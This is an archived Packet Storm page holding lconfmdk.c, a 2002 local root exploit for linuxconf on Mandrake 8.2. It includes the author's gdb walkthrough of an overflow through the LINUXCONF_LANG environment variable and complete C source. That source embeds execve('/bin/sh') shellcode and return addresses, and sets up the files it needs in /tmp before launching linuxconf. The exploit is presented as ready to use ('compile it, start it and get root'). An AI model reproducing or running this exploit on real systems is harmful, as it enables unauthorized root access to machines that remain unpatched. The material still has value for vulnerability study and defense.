what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lconfmdk.c

lconfmdk.c
Posted Sep 17, 2002
Authored by Priest

Linuxconf local root exploit for Mandrake 8.2.

tags | exploit, local, root
systems | linux, mandrake
SHA-256 | bbdecd617d05c630f7b5a45d0f9bbe2c7853751345d776a2859834b022570a38

lconfmdk.c

Change Mirror Download
This is an easy to use linuxconf exploit for
Mandrake 8.2 compile it, start it and get root :-)

by priest

#if 0

Mandrake 8.2 linuxconf local root (easy to use)
exploit by --priest--
I know, it is a very very ugly
exploit, but it works very good
on Mandrake 8.2.

Usage: gcc lconfmdk.c -o x ; ./x

Little exploit description:

Test SEGV with:
[hack@tux src]$ export LINUXCONF_LANG=`perl -e "print 'A'x10000"`
[hack@tux src]$ linuxconf
Speicherzugriffsfehler // Sefault in german :-)
[hack@tux linuxconf]$ gdb linuxconf
GNU gdb 5.1.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...(no debugging symbols found)...
(gdb) run
Starting program: /bin/linuxconf
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x401e6bd0 in strcmp () from /lib/libc.so.6

(gdb) info register $esi
esi 0x41414141 1094795585

esi is our buffer. esi must be a pointer to a string.

We need a string for the strcmp function. 0x811dc53 is a nice string.

(gdb) x/s 0x811dc53
0x811dc53 <subsys_userpriv+7321>: "linuxconf"

After this it is possible to overwrite the eip and i can jump to the shellcode into my stack.
Before that, we must creat the directory linuxconf.eng and the file linuxconf.eng into this
directory. I use G for the NOP instruction instead of 0x90 its an alternative way. See
alphanumeric shellcode in phrack magazine. I never see the code of linuxconfig. Why read
the source if we have gdb, assembler and a SEGV ;-)

My english is very bad. I am from Austria

#endif
#include <stdlib.h>
#include <stdio.h>

// This buffer is the only thing you need
char buf[] = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x29\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80GGGGGGGGGGGGGGGGGGGGGGGGGGLINUXCONF EXPLOIT BY PRIESTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGI LIKE IT TO WRITE THIS SHIT INTO THE BUFFERGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGTHERE IS ENOUGH SPACE FOR THIS STUFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x53\xdc\x11\x01\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x02\x53\xdc\x11\x03\x53\xdc\x11\x04\x50\xe0\xff\xbf\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11uGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\0";

main()
{
// Very bad, but easy to make style
setenv("LINUXCONF_LANG", buf, 1);
system("mkdir /tmp/linuxconf.eng");
system("touch /tmp/linuxconf.eng/linuxconf.eng");
system("/bin/sh -c linuxconf");
system("rm /tmp/linuxconf.eng/linuxconf.eng");
system("rmdir /tmp/linuxconf.eng");
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close